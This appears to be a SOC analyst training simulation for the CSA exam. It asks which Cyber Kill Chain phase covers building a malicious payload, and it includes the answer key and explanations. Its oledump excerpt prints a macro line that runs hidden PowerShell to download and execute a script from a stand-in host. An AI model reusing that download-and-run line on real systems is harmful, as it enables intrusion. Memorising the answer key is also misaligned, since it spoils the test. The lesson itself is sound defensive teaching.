CSA (312-39) SOC Simulation Lab

Welcome to this Level 3 SOC analysis simulation. In this lab, you will analyze malware artifacts mapped to the Lockheed Martin Cyber Kill Chain to improve Threat Intelligence reporting and incident classification.

Scenario Context

You are a Senior SOC Analyst reviewing an escalated ticket. A user at OmniTech Logistics reported a suspicious email. The L2 analyst extracted a Microsoft Word document attachment named Q3_Invoice_Overdue.docm. Static analysis of the document reveals that the threat actor has embedded a customized Cobalt Strike Beacon (the backdoor) within a VBA macro designed to trigger a known equation editor exploit (CVE-2017-11882). You need to classify the actor's creation of this artifact for your Cyber Threat Intelligence (CTI) report.

Security Environment

Artifact: oledump.py Q3_Invoice_Overdue.docm (Static Document Analysis)

[Analyst-Terminal ~]$ oledump.py /mnt/quarantine/Q3_Invoice_Overdue.docm 1: 114 '\x01CompObj' 2: 4096 '\x05DocumentSummaryInformation' 3: 4096 '\x05SummaryInformation' 4: 8331 '1Table' 5: 104845 'Data' 6: 581 'Macros/PROJECT' 7: 65 'Macros/PROJECTwm' 8: M 8434 'Macros/VBA/ThisDocument' 9: 3425 'Macros/VBA/_VBA_PROJECT' 10: 567 'Macros/VBA/dir' 11: 4096 'WordDocument' [Analyst-Terminal ~]$ oledump.py -s 8 -v /mnt/quarantine/Q3_Invoice_Overdue.docm | grep -i shell ShellExecute(0, "open", "cmd.exe", "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.0.2.55/payload.ps1'))\"", "", 0) ' Note: payload.ps1 invokes reverse HTTP beacon injection

Question

In which phase of Lockheed Martin's – Cyber Kill Chain Methodology, adversary creates a deliverable malicious payload using an exploit and a backdoor?
A. Reconnaissance
B. Delivery
C. Weaponization
D. Exploitation
SOC Hint: The question is asking about the creation or manufacturing phase. This happens entirely within the attacker's infrastructure, before the email is ever sent to the target company.

Expert Insight

1. What is happening

An adversary has taken a known vulnerability exploit (to gain execution) and a backdoor payload (to establish Command & Control), and combined them into a single, deliverable file format (the .docm Word document). This is a manufacturing step performed by the threat actor prior to launching the campaign.

2. Why the correct answer is correct (C. Weaponization)

According to the Lockheed Martin Cyber Kill Chain, Weaponization is defined as the coupling of an exploit with a backdoor into a deliverable payload. The adversary creates this "weapon" in their own environment. Our static analysis of the OLE document reveals the exact results of this weaponization phase.

3. Why other options are wrong

A. Reconnaissance: This is passive/active intelligence gathering (e.g., finding the target's email addresses). No payload is built here.
B. Delivery: This is the transmission of the weapon (e.g., sending the phishing email). The weapon is already fully constructed by this point.
D. Exploitation: This is the execution phase on the victim's endpoint, where the vulnerability is actively triggered to drop the backdoor.

4. Real-world SOC application

Why does a SOC care about Weaponization if it happens on the attacker's side? Threat Intelligence (CTI). When we extract a malicious document, we analyze its "builder" signatures (e.g., Metasploit, Cobalt Strike, custom packers). By sharing these Weaponization indicators, we can detect future campaigns from the same actor even if they change their delivery method or C2 servers.

MINI LESSON: The 7 Steps of the Cyber Kill Chain

  • 1. Reconnaissance: Harvesting email addresses, OSINT, scanning.
  • 2. Weaponization: Coupling exploit with backdoor into deliverable payload (The focus of this scenario).
  • 3. Delivery: Delivering weaponized bundle to the victim (e.g., Phishing, USB).
  • 4. Exploitation: Triggering the exploit to execute code on the target.
  • 5. Installation: Installing malware/backdoor to maintain persistence.
  • 6. Command & Control (C2): Establishing a remote command channel.
  • 7. Actions on Objectives: Data exfiltration, encryption (Ransomware), lateral movement.

Enhance your threat detection capabilities and master the CSA curriculum.

Explore more CSA simulations